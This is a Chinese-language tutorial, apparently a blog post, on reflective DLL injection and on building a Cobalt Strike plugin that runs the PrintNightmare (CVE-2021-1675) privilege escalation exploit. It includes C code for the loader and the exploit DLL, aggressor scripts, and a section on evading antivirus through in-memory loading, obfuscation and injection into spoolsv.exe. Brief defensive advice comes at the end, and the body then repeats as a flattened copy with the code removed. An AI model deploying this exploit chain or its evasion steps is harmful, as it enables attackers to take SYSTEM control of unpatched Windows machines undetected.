CS插件之DLL反射加载EXP绕过AV提升权限
字数 2328 2025-08-03 16:47:37

DLL反射加载技术及CVE-2021-1675提权利用详解

0x00 前言

本文详细讲解DLL反射加载技术原理及其在Cobalt Strike中的实际应用,结合CVE-2021-1675本地提权漏洞(PrintNightmare)实现绕过AV检测的权限提升方法。内容涵盖DLL注入基础、反射加载实现原理、CS插件开发以及漏洞利用细节。

0x01 DLL注入基础概念

1.1 DLL注入定义

DLL注入(DLL Injection)是一种强制目标进程加载指定动态链接库的技术,使目标进程执行注入的代码。主要用途包括:

  • 修改程序行为
  • Hook系统调用
  • 读取敏感数据
  • 扩展程序功能

1.2 常规DLL注入方法(远程线程注入)

实现步骤:

  1. 获取目标进程句柄(OpenProcess)
  2. 在目标进程空间分配内存(VirtualAllocEx)
  3. 写入DLL路径(WriteProcessMemory)
  4. 获取LoadLibrary地址(GetProcAddress)
  5. 创建远程线程执行LoadLibrary(CreateRemoteThread)

关键API:

HANDLE OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
LPVOID VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
HANDLE CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);

1.3 常规注入的局限性

  • 依赖系统LoadLibrary函数
  • DLL文件需要落地磁盘
  • 容易被进程监控工具检测(如Process Explorer)

0x02 DLL反射加载技术

2.1 反射加载原理

反射DLL注入不依赖系统LoadLibrary,而是:

  1. 将完整DLL写入目标进程内存
  2. 执行地址无关的ReflectiveLoader函数
  3. 在内存中完成DLL的展开和修复
  4. 最终调用DllMain函数

优势:

  • 无需DLL文件落地
  • 隐藏模块,躲避常规检测
  • 更加隐蔽

2.2 反射加载实现流程

基于Stephen Fewer的ReflectiveDLLInjection项目分析:

  1. 定位DLL内存地址

    • 通过PEB遍历获取kernel32.dll和ntdll.dll基址
    • 获取关键函数地址(LoadLibraryA、GetProcAddress、VirtualAlloc、NtFlushInstructionCache)
  2. 内存加载DLL

    • 分配新内存空间(SizeOfImage)
    • 复制PE头部和所有节区
    • 修复导入表(IAT)
    • 处理重定位表
  3. 执行DLL入口

    • 获取AddressOfEntryPoint
    • 刷新指令缓存(NtFlushInstructionCache)
    • 调用DllMain函数

关键代码片段:

// 分配内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 复制PE头
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while(uiValueA--) 
    *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

// 复制节区
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while(uiValueE--) {
    uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
    uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
    uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
    while(uiValueD--) 
        *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
    uiValueA += sizeof(IMAGE_SECTION_HEADER);
}

2.3 反射加载与常规注入对比

特性 常规DLL注入 DLL反射加载
依赖LoadLibrary
文件落地 需要 不需要
模块可见性 可见 隐藏
实现复杂度 简单 复杂
检测难度 较易 较难

0x03 Cobalt Strike反射注入插件开发

3.1 CS反射注入功能

Cobalt Strike内置反射加载功能,通过bdllspawnaggressor函数实现:

bdllspawn($1, $2, $3, $4, $5, $6)

参数说明:

  • $1 - beacon ID(可数组)
  • $2 - 反射DLL本地路径
  • $3 - 传递给DLL的参数
  • $4 - 任务描述
  • $5 - 等待输出的超时时间(ms)

3.2 示例插件开发

  1. 编写反射DLL
#include <stdio.h>
#include "ReflectiveLoader.h"

extern HINSTANCE hAppInstance;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
    BOOL bReturnValue = TRUE;
    switch(dwReason) {
        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;
            if(lpReserved != NULL) {
                printf("参数: '%s'\n", (char*)lpReserved);
            }
            MessageBoxA(NULL, "注入成功", "提示", MB_OK);
            fflush(stdout);
            ExitProcess(0);
            break;
        // 其他case处理...
    }
    return bReturnValue;
}
  1. 编写CNA插件
alias hello {
    bdllspawn($1, script_resource("bin/ReflectiveDll.x64.dll"), $2, "测试DLL", 5000, false);
}
  1. 编译注意事项
    预处理器定义需包含:
REFLECTIVE_DLL_EXPORTS
REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 
REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
WIN_X64

0x04 PrintNightmare漏洞分析(CVE-2021-1675)

4.1 漏洞概述

Windows Print Spooler服务权限提升漏洞,允许低权限用户加载恶意驱动DLL实现SYSTEM权限执行。

影响范围:

  • Windows 7/10全版本
  • Windows Server 2008-2019

4.2 漏洞原理

漏洞点位于RpcAddPrinterDriver接口,通过AddPrinterDriverEx函数传入特殊flag(0x00008000)可绕过权限验证,加载未签名驱动。

关键利用代码:

DRIVER_INFO_2 driverInfo;
driverInfo.cVersion = 3;
driverInfo.pDriverPath = L"C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64\\UNIDRV.DLL"; // 合法驱动路径
driverInfo.pDataFile = L"恶意DLL路径"; 
driverInfo.pConfigFile = L"恶意DLL路径";
driverInfo.pEnvironment = NULL;
driverInfo.pName = L"任意名称";

AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);

4.3 自动化驱动路径获取

wchar_t* findDLLPath() {
    wchar_t targetDLLPath[MAX_PATH] = {0};
    DWORD dwNeeded, dwReturned;
    LPBYTE lpDriverInfo;
    
    EnumPrinterDriversW(NULL, NULL, 2, NULL, 0, &dwNeeded, &dwReturned);
    lpDriverInfo = (LPBYTE)LocalAlloc(LPTR, dwNeeded);
    EnumPrinterDrivers(NULL, NULL, 2, lpDriverInfo, dwNeeded, &dwNeeded, &dwReturned);

    DRIVER_INFO_2* pInfo = (DRIVER_INFO_2*)lpDriverInfo;
    for(DWORD i=0; i<dwReturned; i++) {
        if(wcsstr(pInfo->pDriverPath, L"ntprint.inf_amd64")) {
            // 提取路径并拼接UNIDRV.DLL
            // 检查文件是否存在后返回
        }
        pInfo++;
    }
    LocalFree(lpDriverInfo);
    return targetDLLPath;
}

0x05 综合实现:反射DLL+PrintNightmare提权

5.1 完整实现代码

#include "ReflectiveLoader.h"
#include <Windows.h>
#include <stdio.h>
#include <Winspool.h>

extern HINSTANCE hAppInstance;

int exploit(wchar_t* pthDll) {
    WCHAR payloadPath[MAX_PATH] = {0};
    WCHAR targetDLLPath[MAX_PATH] = {0};
    
    wsprintf(payloadPath, L"%s", pthDll);
    wsprintf(targetDLLPath, L"%ls", findDLLPath());

    DRIVER_INFO_2 driverInfo;
    driverInfo.cVersion = 3;
    driverInfo.pConfigFile = payloadPath;
    driverInfo.pDataFile = payloadPath;
    driverInfo.pDriverPath = targetDLLPath;
    driverInfo.pEnvironment = NULL;
    driverInfo.pName = L"ExploitDriver";

    DWORD addPrinter = AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);
    if(addPrinter) {
        printf("[+] 提权成功!\n");
    } else {
        printf("[-] 错误代码: %d\n", GetLastError());
    }
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
    if(dwReason == DLL_PROCESS_ATTACH) {
        hAppInstance = hinstDLL;
        if(strlen((char*)lpReserved) > 0) {
            exploit(charTowchar((char*)lpReserved));
        }
        fflush(stdout);
        ExitProcess(0);
    }
    return TRUE;
}

5.2 CS插件集成

alias pn_lpe {
    local('$bid $dllpath');
    $bid = $1;
    $dllpath = getFileProper(script_resource("bin/PrintNightmare.x64.dll"), "path");
    
    bdllspawn($bid, $dllpath, "", "PrintNightmare LPE", 5000, false);
}

5.3 绕过AV关键点

  1. 内存加载:反射注入避免文件落地
  2. 代码混淆:对反射DLL进行混淆处理
  3. 合法驱动:使用系统自带UNIDRV.DLL
  4. 进程选择:注入spoolsv.exe系统进程

0x06 防御建议

  1. 禁用Print Spooler服务(非打印服务器)
  2. 安装微软安全补丁(KB5005565等)
  3. 限制spoolsv.exe的DLL加载
  4. 监控AddPrinterDriverEx等API调用
  5. 启用攻击面减少规则(ASR)

0x07 参考资源

  1. ReflectiveDLLInjection项目
  2. CVE-2021-1675分析
  3. PE文件结构文档
  4. Windows API文档
DLL反射加载技术及CVE-2021-1675提权利用详解 0x00 前言 本文详细讲解DLL反射加载技术原理及其在Cobalt Strike中的实际应用,结合CVE-2021-1675本地提权漏洞(PrintNightmare)实现绕过AV检测的权限提升方法。内容涵盖DLL注入基础、反射加载实现原理、CS插件开发以及漏洞利用细节。 0x01 DLL注入基础概念 1.1 DLL注入定义 DLL注入(DLL Injection)是一种强制目标进程加载指定动态链接库的技术,使目标进程执行注入的代码。主要用途包括: 修改程序行为 Hook系统调用 读取敏感数据 扩展程序功能 1.2 常规DLL注入方法(远程线程注入) 实现步骤: 获取目标进程句柄(OpenProcess) 在目标进程空间分配内存(VirtualAllocEx) 写入DLL路径(WriteProcessMemory) 获取LoadLibrary地址(GetProcAddress) 创建远程线程执行LoadLibrary(CreateRemoteThread) 关键API: 1.3 常规注入的局限性 依赖系统LoadLibrary函数 DLL文件需要落地磁盘 容易被进程监控工具检测(如Process Explorer) 0x02 DLL反射加载技术 2.1 反射加载原理 反射DLL注入不依赖系统LoadLibrary,而是: 将完整DLL写入目标进程内存 执行地址无关的ReflectiveLoader函数 在内存中完成DLL的展开和修复 最终调用DllMain函数 优势: 无需DLL文件落地 隐藏模块,躲避常规检测 更加隐蔽 2.2 反射加载实现流程 基于Stephen Fewer的ReflectiveDLLInjection项目分析: 定位DLL内存地址 : 通过PEB遍历获取kernel32.dll和ntdll.dll基址 获取关键函数地址(LoadLibraryA、GetProcAddress、VirtualAlloc、NtFlushInstructionCache) 内存加载DLL : 分配新内存空间(SizeOfImage) 复制PE头部和所有节区 修复导入表(IAT) 处理重定位表 执行DLL入口 : 获取AddressOfEntryPoint 刷新指令缓存(NtFlushInstructionCache) 调用DllMain函数 关键代码片段: 2.3 反射加载与常规注入对比 | 特性 | 常规DLL注入 | DLL反射加载 | |---------------------|---------------------|----------------------| | 依赖LoadLibrary | 是 | 否 | | 文件落地 | 需要 | 不需要 | | 模块可见性 | 可见 | 隐藏 | | 实现复杂度 | 简单 | 复杂 | | 检测难度 | 较易 | 较难 | 0x03 Cobalt Strike反射注入插件开发 3.1 CS反射注入功能 Cobalt Strike内置反射加载功能,通过 bdllspawn aggressor函数实现: 参数说明: $1 - beacon ID(可数组) $2 - 反射DLL本地路径 $3 - 传递给DLL的参数 $4 - 任务描述 $5 - 等待输出的超时时间(ms) 3.2 示例插件开发 编写反射DLL : 编写CNA插件 : 编译注意事项 : 预处理器定义需包含: 0x04 PrintNightmare漏洞分析(CVE-2021-1675) 4.1 漏洞概述 Windows Print Spooler服务权限提升漏洞,允许低权限用户加载恶意驱动DLL实现SYSTEM权限执行。 影响范围: Windows 7/10全版本 Windows Server 2008-2019 4.2 漏洞原理 漏洞点位于 RpcAddPrinterDriver 接口,通过 AddPrinterDriverEx 函数传入特殊flag(0x00008000)可绕过权限验证,加载未签名驱动。 关键利用代码: 4.3 自动化驱动路径获取 0x05 综合实现:反射DLL+PrintNightmare提权 5.1 完整实现代码 5.2 CS插件集成 5.3 绕过AV关键点 内存加载 :反射注入避免文件落地 代码混淆 :对反射DLL进行混淆处理 合法驱动 :使用系统自带UNIDRV.DLL 进程选择 :注入spoolsv.exe系统进程 0x06 防御建议 禁用Print Spooler服务(非打印服务器) 安装微软安全补丁(KB5005565等) 限制spoolsv.exe的DLL加载 监控AddPrinterDriverEx等API调用 启用攻击面减少规则(ASR) 0x07 参考资源 ReflectiveDLLInjection项目 CVE-2021-1675分析 PE文件结构文档 Windows API文档